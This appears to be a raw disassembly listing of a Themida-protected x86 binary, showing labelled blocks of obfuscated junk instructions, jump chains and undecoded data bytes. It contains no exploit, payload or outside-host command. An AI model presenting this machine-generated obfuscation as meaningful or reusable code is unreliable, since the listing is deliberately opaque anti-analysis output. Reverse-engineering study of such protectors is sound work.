		push	small 2B3Bh
		mov	[esp], dx
		push	eax
		jmp	loc_54CFDD
; ---------------------------------------------------------------------------

loc_5501B6:				; CODE XREF: Themida_:0054CA2Bj
		mov	[esp], edx
		mov	edx, 32E1E0EFh
		sub	edi, edx
		jmp	loc_5553B2
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0C7h
		dd 0F752734Fh, 6DB850D2h, 0F779014Fh, 0F7D8F7D8h, 6F012DD8h
		dd 92254611h, 51DEA55h,	0AC5A2F2Dh, 8158C229h, 0E160EDEEh
		dd 0F493E916h, 248BFFFFh, 2CD36624h, 0A1E99C24h, 8B000070h
		dd 0E9522404h, 2205h, 0E924348Bh, 63EDh
; ---------------------------------------------------------------------------

loc_550214:				; CODE XREF: Themida_:0054E6B4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_55311E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6CDE9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55023E:				; CODE XREF: Themida_:005511CFj
		or	ebx, 7A0409CFh
		add	ebx, 438C0AFDh
		add	ebx, 40AC8738h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		jmp	loc_557F34
; ---------------------------------------------------------------------------
		db 0B8h
		dd 66295C43h, 0D6A3C1B9h, 58C10199h, 44E9CE89h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550273:				; CODE XREF: Themida_:0054D523j
		push	edx
		mov	dx, 7A53h
		push	eax
		jmp	loc_5517D3
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFCB64h, 4C481h, 0EC830000h, 240C8904h, 23DBE9h
		dd 81DFF700h, 0B6E798EFh, 5FF829EFh, 2EE9C789h,	6600005Bh
		dd 81243C8Bh, 2C4h, 3C316600h, 3C336624h, 3C316624h, 0BF32E924h
		dd 3489FFFFh, 195DE924h, 48B0000h, 4EC8324h, 54241489h
		dd 5A2434FFh, 6091E9h
		db 0
; ---------------------------------------------------------------------------

loc_5502DD:				; CODE XREF: Themida_:00551370j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FEAB
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_558297
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EBC105EBh, 9CBA5206h, 0E9000010h, 0FFFFFCE3h, 41E95456h
		dd 66FFFFE5h, 0E9240C8Bh, 5D15h, 0D85DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550332:				; CODE XREF: Themida_:0054EDA1j
		add	esp, 4
		jmp	loc_55080C
; ---------------------------------------------------------------------------
		dw 0B468h
		dd 8900000Ch, 88512404h, 0E9E888F5h, 7B38h, 8104C483h
		dd 4ECh, 0F112E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55035A:				; CODE XREF: Themida_:00558146j
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_55719A
; ---------------------------------------------------------------------------

loc_550375:				; CODE XREF: Themida_:00551401j
		add	eax, 4
		push	esi
		jmp	loc_5514B2
; ---------------------------------------------------------------------------
a341434Snr	db '34$14$34$\é­R',0
		dw 8100h
		dd 4ECh, 78B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55039A:				; CODE XREF: Themida_:005534CDj
		xor	ebx, esi
		pop	esi
		and	eax, ebx
		pop	ebx
		shr	eax, 18h
		xor	eax, ecx
		push	5CFCh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_555A31
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 2CDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5503D6:				; CODE XREF: Themida_:005584BDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jmp	loc_55808E
; ---------------------------------------------------------------------------
		db 89h
		dd 0DB9240Ch, 8111E052h, 0AB53D0E9h, 0BF574943h, 0CE34FE38h
		dd 15FF929h, 0B1E959CFh, 55000024h, 4BDh, 5DEA0100h, 5C241487h
		dd 405h, 0CEE95100h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550427:				; CODE XREF: Themida_:0054DB11j
		or	eax, eax
		jz	loc_55505E
		push	dword ptr [edi+1Ch]
		push	ecx
		push	3C652D0Fh
		pop	ecx
		sub	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_555F49
; ---------------------------------------------------------------------------
		db 1
		dd 69D72DF0h, 0E95E746Eh, 4AC2h, 3CE9E689h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550463:				; CODE XREF: Themida_:00557BB1j
		sub	esi, 694F121Eh
		add	esi, 0E7791841h
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_554A8C
; ---------------------------------------------------------------------------

loc_55047D:				; CODE XREF: Themida_:005583D2j
		or	ebp, 4CBE5825h
		sub	ebp, 4DFE5C31h
		sub	ebx, ebp
		jmp	loc_558042
; ---------------------------------------------------------------------------
		dd 0B5240C89h, 0E91CB004h, 0FFFFE3FDh, 148B5452h, 4C48324h
		dd 4C281h, 0E9550000h, 2F70h
; ---------------------------------------------------------------------------

loc_5504B0:				; CODE XREF: Themida_:005533B9j
		push	edx
		mov	edx, 74797361h
		and	edx, 0D6653ECh
		jmp	loc_54F34B
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4BD55h, 0E9010000h, 4C1835Dh, 0FFE4C4E9h, 0E98304FFh
		dd 0FFFFE72Eh, 81E38953h, 4C3h,	4BD5500h, 1000000h, 1C875DEBh
		dd 24E95C24h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5504F7:				; CODE XREF: Themida_:005550C0j
		mov	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		not	bl
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 0E2h
		sub	dh, bh
		jmp	loc_554FD4
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 3Ch
		dd 680E486Bh, 7928h, 0E9243C89h, 4069h,	4C481h,	0E9530000h
		dd 488Bh, 0C1815954h, 4, 5A9DBB53h, 0CB8142A6h,	66A13F28h
		dd 2414F753h, 0FFCE29E9h, 0ED815DFFh, 1CAA291Ch, 7E9EF89h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550563:				; CODE XREF: Themida_:005518B3j
		sub	bl, 4Bh
		shr	bl, 8
		shr	bl, 1
		xor	bl, 68h
		xor	dh, bl
		pop	ebx
		sub	al, dh
		jmp	loc_55581A
; ---------------------------------------------------------------------------
		dd 4246C81h, 78173BF1h,	4244481h, 510340D1h, 5B2434FFh
		dd 4C481h, 5DE90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550597:				; CODE XREF: Themida_:0054E54Cj
		inc	dl
		jmp	loc_5525DE
; ---------------------------------------------------------------------------

loc_55059E:				; CODE XREF: Themida_:0054D77Fj
		add	eax, 4
		push	eax
		jmp	loc_552408
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0F5BE56E7h, 29644F9Dh, 0F8015EF7h, 241C8B5Fh, 4C481h
		dd 0D8290000h, 0FFCF72E9h, 8E5C1FFh, 4D03E5C1h,	0FCED814Dh
		dd 0E9DE7815h, 235Fh, 0FFBC17E9h, 2DD801FFh, 5B3E2C03h
		dd 0B56E9h
		db 0
; ---------------------------------------------------------------------------

loc_5505E9:				; CODE XREF: Themida_:00558257j
		pop	ebx
		dec	eax
		jmp	loc_554474
; ---------------------------------------------------------------------------

loc_5505F0:				; CODE XREF: Themida_:00554479j
		push	edi
		mov	edi, 22D560EFh
		jmp	loc_5543DA
; ---------------------------------------------------------------------------
		db 83h
		dd 0F00207Fh, 77EC84h, 7FC68100h, 15B537Ah, 53B850C6h
		dd 531E2A42h, 0FFE22BE9h, 0F5815DFFh, 0CFAB3C4Bh, 0FFBEE6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550625:				; CODE XREF: Themida_:00557532j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	0E28h
		jmp	loc_54C9E0
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7C74B850h, 1A05610Dh, 54FDA0Ah, 66757238h, 52BEE9h
		dd 24048100h, 4, 0FFF857E9h, 8B018BFFh,	4AE9240Ch, 2100000Dh
		dd 48485FF8h, 0E948D0F7h, 0FFFFBCCDh
; ---------------------------------------------------------------------------

loc_55067C:				; CODE XREF: Themida_:005524D0j
		shr	edx, 4
		dec	edx
		jmp	loc_54DA00
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 32h
		dd 6835CE0Eh, 1944h, 0BF243C89h, 770B2DE5h, 455AED81h
		dd 0F2E93C34h, 87FFFFBBh, 0F35C243Ch, 386203A5h, 394768h
		dd 242C8900h, 4ED8E9h, 0BB36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5506BE:				; CODE XREF: Themida_:005534A7j
		add	esp, 2
		jmp	loc_54E3B2
; ---------------------------------------------------------------------------
aBDljSY		db 'Ãdl¦',27h,'éÍy',0
		align 4
aS7		db '[é7#',0
		align 2

loc_5506DA:				; CODE XREF: Themida_:0054C704j
		pop	ecx
		push	eax
		mov	eax, 152A595Ah
		jmp	loc_54C2D6
; ---------------------------------------------------------------------------

loc_5506E6:				; CODE XREF: Themida_:0055407Dj
		mov	edi, 6FBF2CEFh
		inc	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5547C0
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 0FED6E92Ch, 489FFFFh, 5E08924h, 4, 405h, 4142E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550716:				; CODE XREF: Themida_:0054E278j
		xor	esi, 25AA442Ch
		push	edx
		mov	edx, 46111B13h
		add	esi, edx
		jmp	loc_54F72F
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 5904C483h, 0CBE9C331h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550737:				; CODE XREF: Themida_:00555A9Fj
		push	eax
		mov	eax, 2A383A20h
		or	eax, 16500C1Dh
		add	eax, 1F2755E6h
		push	edx
		mov	edx, 2DBF5AEFh
		xor	eax, edx
		pop	edx
		xor	eax, 786548F2h
		xor	eax, 0EAE97C27h
		add	esi, 25417628h
		add	esi, eax
		sub	esi, 25417628h
		mov	eax, [esp]
		jmp	loc_553510
; ---------------------------------------------------------------------------
		dd 53D7F747h, 3C8EB0BBh, 5BDF299Dh, 6382C381h, 0FB012DE4h
		dd 6382EB81h, 0E92DE4h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55078F:				; CODE XREF: Themida_:0054D2B8j
		push	edx
		mov	edx, 42D94715h
		or	edx, 257237FFh
		jmp	loc_5573C5
; ---------------------------------------------------------------------------

loc_5507A0:				; CODE XREF: Themida_:0054DF5Fj
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		xchg	edx, [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_55431D
; ---------------------------------------------------------------------------

loc_5507B2:				; CODE XREF: Themida_:00556AD2j
		pop	edi
		and	eax, esi
		jmp	loc_555079
; ---------------------------------------------------------------------------

loc_5507BA:				; CODE XREF: Themida_:00551B2Ej
		mov	edx, 2
		sub	ecx, 8417F75h
		sub	ecx, edx
		jmp	loc_5575B0
; ---------------------------------------------------------------------------

loc_5507CC:				; CODE XREF: Themida_:0055143Ej
		push	17B3h
		mov	[esp], ebx
		jmp	loc_554219
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 57h
		dd 0ED80C5FEh, 5FE5E90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5507E6:				; CODE XREF: Themida_:00555890j
		mov	ebx, 4367801h
		sub	ebx, 358457A8h
		shl	ebx, 3
		neg	ebx
		add	ebx, 2B9E660Bh
		jmp	loc_54D456
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E9E28952h, 113Eh
; ---------------------------------------------------------------------------

loc_55080C:				; CODE XREF: Themida_:00550335j
		push	eax
		jmp	loc_5536D7
; ---------------------------------------------------------------------------

loc_550812:				; CODE XREF: Themida_:0054EA8Aj
		or	esi, 765B674Fh
		not	esi
		not	esi
		jmp	loc_54D697
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0FEh
		dd 81FFFFD3h, 4C4h, 61AA6800h, 34890000h, 2474FF24h, 48F5E04h
		dd 24248B24h, 2896664h,	74DAE9h, 0A0E9AD00h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55084F:				; CODE XREF: Themida_:0054D34Cj
		mov	eax, esp
		jmp	loc_55339C
; ---------------------------------------------------------------------------

loc_550856:				; CODE XREF: Themida_:0054E994j
		push	edx
		mov	edx, esp
		jmp	loc_5528B6
; ---------------------------------------------------------------------------
		dw 0EB89h
		dd 1830E9h
		db 0
; ---------------------------------------------------------------------------

loc_550865:				; CODE XREF: Themida_:00551F98j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 38BC135Eh
		add	dword ptr [esp+4], 702E17B3h
		sub	[esp+4], ecx
		jmp	loc_554B3A
; ---------------------------------------------------------------------------

loc_5508AA:				; CODE XREF: Themida_:0055558Cj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_5520BF
; ---------------------------------------------------------------------------

loc_5508C3:				; CODE XREF: Themida_:0054F3CCj
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_552DCA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 0FDE904C4h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5508E7:				; CODE XREF: Themida_:0054D862j
		xor	dl, ah
		jmp	loc_54DEA6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 29D819D1h, 4607B951h, 0CA0132D4h, 81FA0159h,	0D44607EAh
		dd 10E95F32h, 81000045h, 0E47573F2h, 97CA8160h,	5772E030h
		dd 99484CBFh, 8EFC155h,	8108E7C1h, 7555F2CFh, 27EF8155h
		dd 2981FE00h, 0D3895FFAh, 25E94B5Ah, 0BE00002Dh, 51750B35h
		dd 835B4CB9h, 5EF129B1h, 7786C181h, 0B951C218h,	4F2628E9h
		dd 0E959C801h, 5CB2h, 0A2E9C201h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550963:				; CODE XREF: Themida_:0055395Dj
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5533F2
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9698E68h, 1CABh, 0C1D8F758h, 0D0F705E8h, 0D6C8BF35h
		dd 8BC301FFh, 28E92404h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55099B:				; CODE XREF: Themida_:00554E8Bj
		sub	ecx, 6FB21DEEh
		pop	esi
		add	ecx, 4
		jmp	loc_54CE67
; ---------------------------------------------------------------------------
		dw 0E94Eh
		dd 235h, 0E92434FFh, 4820h
; ---------------------------------------------------------------------------

loc_5509B8:				; CODE XREF: Themida_:00556152j
		mov	ecx, [esp]
		add	esp, 4
		add	ah, 3Fh
		jmp	loc_557FA0
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 0DFEF805Ch, 0C780EF28h, 526659DFh, 17E968B6h
		dd 8100007Bh, 571D45EBh, 666AE922h, 74FF0000h, 8F5E0424h
		dd 835C2404h, 0C88504C4h, 0B7F6E99Ch, 0F1E9FFFFh, 81FFFFB7h
		dd 4C2h, 74FF5200h, 8F5A0424h, 815C2404h, 4ECh,	24048900h
		dd 0B951E089h, 348003F2h, 7C86E181h, 0E1C166C0h, 7CE98106h
		dd 1200020h, 7DE959C8h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A3B:				; CODE XREF: Themida_:0054F148j
		add	dh, 0B8h
		push	ebx
		jmp	loc_5550BD
; ---------------------------------------------------------------------------

loc_550A44:				; CODE XREF: Themida_:00556B74j
		mov	esp, [esp]
		jmp	loc_54C980
; ---------------------------------------------------------------------------
		dd 52535F54h, 2907F2BAh, 0F7DDE97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A5A:				; CODE XREF: Themida_:00552F75j
		push	eax
		jmp	loc_5510E0
; ---------------------------------------------------------------------------

loc_550A60:				; CODE XREF: Themida_:0055703Fj
		sub	[esp+8], edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		push	ebx
		mov	ebx, 1DA0113Ch
		neg	ebx
		sub	ebx, 6F4703C2h
		xor	ebx, 3D4E8E30h
		mov	ebp, ebx
		pop	ebx
		push	ebp
		xchg	edx, [esp]
		not	edx
		jmp	loc_554C55
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0C68106EEh, 0FFFFFFFFh, 0EE3AEE81h, 0F031E7A5h, 8768515Eh
		dd 8900001Fh, 4CBE2434h, 0F7344613h, 3B42E9DEh,	585B0000h
		dd 34FFE831h, 40E95D24h, 66000066h, 51240C8Bh, 0BD55E189h
		dd 160C2956h, 0E068DDF7h, 0E9000002h, 0FFFFEFA4h, 6BE9C701h
		dd 89000063h, 0B0502414h, 0FED0F61Fh, 0F6D8F6C0h, 88932CD0h
		dd 0F03058C6h, 0B353665Ah, 78C38033h, 0FFC5C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550B09:				; CODE XREF: Themida_:005547C5j
		neg	edx
		shr	edx, 1
		neg	edx
		sub	edx, 1
		jmp	loc_54CA58
; ---------------------------------------------------------------------------

loc_550B17:				; CODE XREF: Themida_:0054D574j
		add	esp, 4
		sub	ebp, 581E61F4h
		add	ebp, ecx
		push	edx
		mov	edx, 10D21116h
		sub	edx, 0B8B3AF22h
		add	ebp, edx
		jmp	loc_5533E9
; ---------------------------------------------------------------------------
		dd 6746BF57h, 0D7F70D41h, 8104EFC1h, 9C3F8FE7h,	0FF7811Fh
		dd 292A0D29h, 0CB295FFBh, 84C381h, 0EB812505h, 3F965F26h
		dd 81C32959h, 143612C3h, 8F6644h, 0FFB683E9h, 4C481FFh
		dd 81000000h, 4C7h, 243C8700h, 0AA5E9h,	5DEA3100h, 505AD301h
		dd 84472BB8h, 0EC70549h, 534831C4h, 70B8BA52h, 0C9BB36B4h
		dd 81BB6C1Ah, 0DB61BAEBh, 0E9D32956h, 0FFFFC810h, 34FFF830h
		dd 89565B24h, 0C168E9E6h, 0C889FFFFh, 0E9240C8Bh, 3646h
; ---------------------------------------------------------------------------

loc_550BC8:				; CODE XREF: Themida_:00551489j
		push	eax
		jmp	loc_54F6F9
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 3BF25808h, 0CD2DE8D1h, 2D4A9650h, 0B4BFAB00h, 1168E9h
		dd 3E6C100h, 7EF0CE81h,	0F681171Fh, 9FBFFFFCh, 5305505h
		dd 2DF00111h, 11053055h, 4EC835Eh, 55243489h, 4BDh, 0E9EE8900h
		dd 4322h
; ---------------------------------------------------------------------------

loc_550C14:				; CODE XREF: Themida_:0055523Aj
		sub	bl, 0B9h
		pop	dx
		push	edx
		mov	dh, ch
		mov	ch, bl
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dh, ch
		jmp	loc_54D5D3
; ---------------------------------------------------------------------------
		dw 8747h
		dd 0E957E9FBh, 0EDB5FFFFh, 0E903EDC0h, 625Ch
; ---------------------------------------------------------------------------

loc_550C44:				; CODE XREF: Themida_:00551190j
		shl	eax, 4
		neg	eax
		sub	eax, 0B9171871h
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4

loc_550C5A:				; CODE XREF: Themida_:00552C5Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5546D0
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 53EB801Ah, 0DAE9D800h, 51000067h, 0E9AFB753h, 41B1h
		dd 2474FF57h, 48F5F04h,	1DF9E924h, 0E95A0000h, 356Eh, 0AE9E789h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C9F:				; CODE XREF: Themida_:0054C2D8j
		not	eax
		and	eax, 14613649h
		sub	eax, 56C950E1h
		xor	eax, 0BD56BF6Ch
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, ecx
		jmp	loc_54DB3E
; ---------------------------------------------------------------------------
		dd 1D16E95Ah, 685F0000h, 69ADh,	0E9241C89h, 0FFFFD360h
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 534Fh
; ---------------------------------------------------------------------------

loc_550CF8:				; CODE XREF: Themida_:0055279Dj
		add	ebx, edx
		add	ebx, 173F67EBh
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	4FAA6DFCh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 704F3968h
		neg	edx
		inc	edx
		sub	edx, 20A3CB6Eh
		mov	ebp, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_550FB1
; ---------------------------------------------------------------------------

loc_550D5F:				; CODE XREF: Themida_:0054CF40j
		push	edx
		mov	edx, 24356A73h
		jmp	loc_5525A0
; ---------------------------------------------------------------------------
		dw 0EB88h
		dd 81240C8Bh, 4C4h, 0EC835A00h,	24048904h, 0B8h, 0E9D00100h
		dd 3904h
; ---------------------------------------------------------------------------

loc_550D88:				; CODE XREF: Themida_:0054E685j
		mov	bp, 6F19h
		jmp	loc_5559E2
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0FFh
		dd 0FFF2AAE9h, 6AE95CFFh, 0ACFFFFD6h, 0C276866h, 241C8966h
		dd 278DE9h, 55525600h, 4BDh, 5DEA8900h,	0BEE9D689h, 0BA000008h
		dd 129D1A32h, 338DE9h
		db 0
; ---------------------------------------------------------------------------

loc_550DC9:				; CODE XREF: Themida_:0055671Aj
		mov	edi, [esp]
		add	esp, 4

loc_550DCF:				; CODE XREF: Themida_:loc_54F926j
					; Themida_:loc_5520BFj
		push	dword ptr [edi+24h]
		jmp	loc_553F64
; ---------------------------------------------------------------------------

loc_550DD7:				; CODE XREF: Themida_:0055791Dj
		mov	[esp], esi
		mov	esi, 0
		push	eax
		mov	eax, 24h
		jmp	loc_55737D
; ---------------------------------------------------------------------------
		dw 22Ch
		dd 8153D828h, 4ECh, 0CF06E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550DFA:				; CODE XREF: Themida_:005565FCj
		add	ebp, ecx
		sub	ebp, 52350457h
		pop	ecx
		jmp	loc_555F5A
; ---------------------------------------------------------------------------
		dd 547FE95Dh, 0E62D0000h, 562D8A57h, 888B951h, 0F7491C94h
		dd 61A5E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550E22:				; CODE XREF: Themida_:0054C83Dj
		mov	[esp], ebx
		jmp	loc_551499
; ---------------------------------------------------------------------------

loc_550E2A:				; CODE XREF: Themida_:0054E3DAj
		pop	eax
		jmp	loc_54E514
; ---------------------------------------------------------------------------

loc_550E30:				; CODE XREF: Themida_:00552B18j
		push	edi
		add	dword ptr [esp], 418026F1h
		pop	ebp
		push	esi
		mov	esi, 418026F1h
		sub	ebp, esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5557B6
; ---------------------------------------------------------------------------
		dd 6EE968h, 240C8900h, 0FFEEA0E9h, 2434FFFFh, 7AE9555Ah
		dd 5F000027h, 4C781h, 0C7810000h, 4, 0FFD316E9h, 4C481FFh
		dd 0E9000000h, 0FFFFF182h, 0BF57E389h, 1391734Eh, 7B6E9h
		db 0
; ---------------------------------------------------------------------------

loc_550EA5:				; CODE XREF: Themida_:00555388j
		pop	ebx

loc_550EA6:				; CODE XREF: Themida_:00552F54j
		push	1EBAh
		mov	[esp], ebp
		push	esp
		jmp	loc_5565E9
; ---------------------------------------------------------------------------
		dd 2D22F2B9h, 12E9815Ah, 0E9634007h, 260Eh, 56240C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 6D8CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550EDE:				; CODE XREF: Themida_:00551EC4j
		pop	ebx
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_550EE4:				; CODE XREF: Themida_:00554FD8j
		add	bl, 81h
		add	bl, 39h
		add	bl, al
		sub	bl, 39h
		push	ecx
		push	ebx
		mov	bh, 0EAh
		or	bh, 0EFh
		xor	bh, 3Ah
		mov	cl, bh
		pop	ebx
		sub	cl, 0BAh
		and	cl, 1Ah
		push	eax
		mov	ah, 25h
		shr	ah, 6
		xor	ah, 53h
		and	ah, 35h
		push	edx
		mov	dh, 0E9h
		neg	dh
		add	dh, 0FAh
		neg	dh
		xor	dh, 0CDh
		sub	ah, dh
		jmp	loc_554D8A
; ---------------------------------------------------------------------------
aJMzb_S@	db '¹¦',27h,'¬zÁ}_; é#@',0
		align 2
		dw 3C31h
		dd 0C73CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F3A:				; CODE XREF: Themida_:0054E3F1j
		imul	cx
		push	ecx
		push	esp
		jmp	loc_555F2B
; ---------------------------------------------------------------------------
aN1Hby		db '­1ØhY',0
		align 4
		dd 68243C89h, 37802768h, 5F2434FFh, 706968h, 241C8900h
		dd 62E9E389h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F67:				; CODE XREF: Themida_:00557597j
		mov	eax, [esp]
		push	366Fh
		mov	[esp], ecx
		push	13DBh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_551F49
; ---------------------------------------------------------------------------
		dd 0EE04D8F6h, 34FFC288h, 0C4815824h, 4, 0FFED00E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550FB1:				; CODE XREF: Themida_:00550D5Aj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54E3C3
; ---------------------------------------------------------------------------
		dd 3A20C8BEh, 0DEF74E46h, 41B5E9h, 241C8900h, 744468h
		dd 24248900h, 4240481h,	5B000000h, 0FFEADAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550FED:				; CODE XREF: Themida_:0054EBEAj
		mov	[esp], ecx
		mov	cx, 2B57h
		push	ax
		jmp	loc_551D0F
; ---------------------------------------------------------------------------
		db 81h
		dd 6C5F8AE7h, 84C78105h, 0E909B317h, 0FFFFF8E2h, 769FEB81h
		dd 0EB81038Fh, 16F90730h, 7943EB81h, 34FF2001h,	0F9E95D24h
		dd 59FFFFBBh, 5C24048Fh, 50241489h, 0B1BEE99Ch,	0FF5FFFFFh
		dd 34FF2434h, 0C4815924h, 4, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 535C243Ch, 8B1FB8BBh, 0A8E94355h,	0BB00005Dh
		dd 4, 835BDF01h, 4FE904ECh, 57FFFFF2h, 3658BB53h, 0F3810405h
		dd 6E1A1AB3h, 5703E9h
		db 0
; ---------------------------------------------------------------------------

loc_551085:				; CODE XREF: Themida_:0055625Fj
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		shl	dh, 1
		jmp	loc_54CACA
; ---------------------------------------------------------------------------
		dd 3124248Bh, 55E92404h, 89FFFFB1h, 0D8ABE9E3h,	0E389FFFFh
		dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0BBh, 0E9D9F75Eh
		dd 0FFFFC531h, 31240433h, 4332404h, 24248B24h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFFB114h
; ---------------------------------------------------------------------------

loc_5510E0:				; CODE XREF: Themida_:00550A5Bj
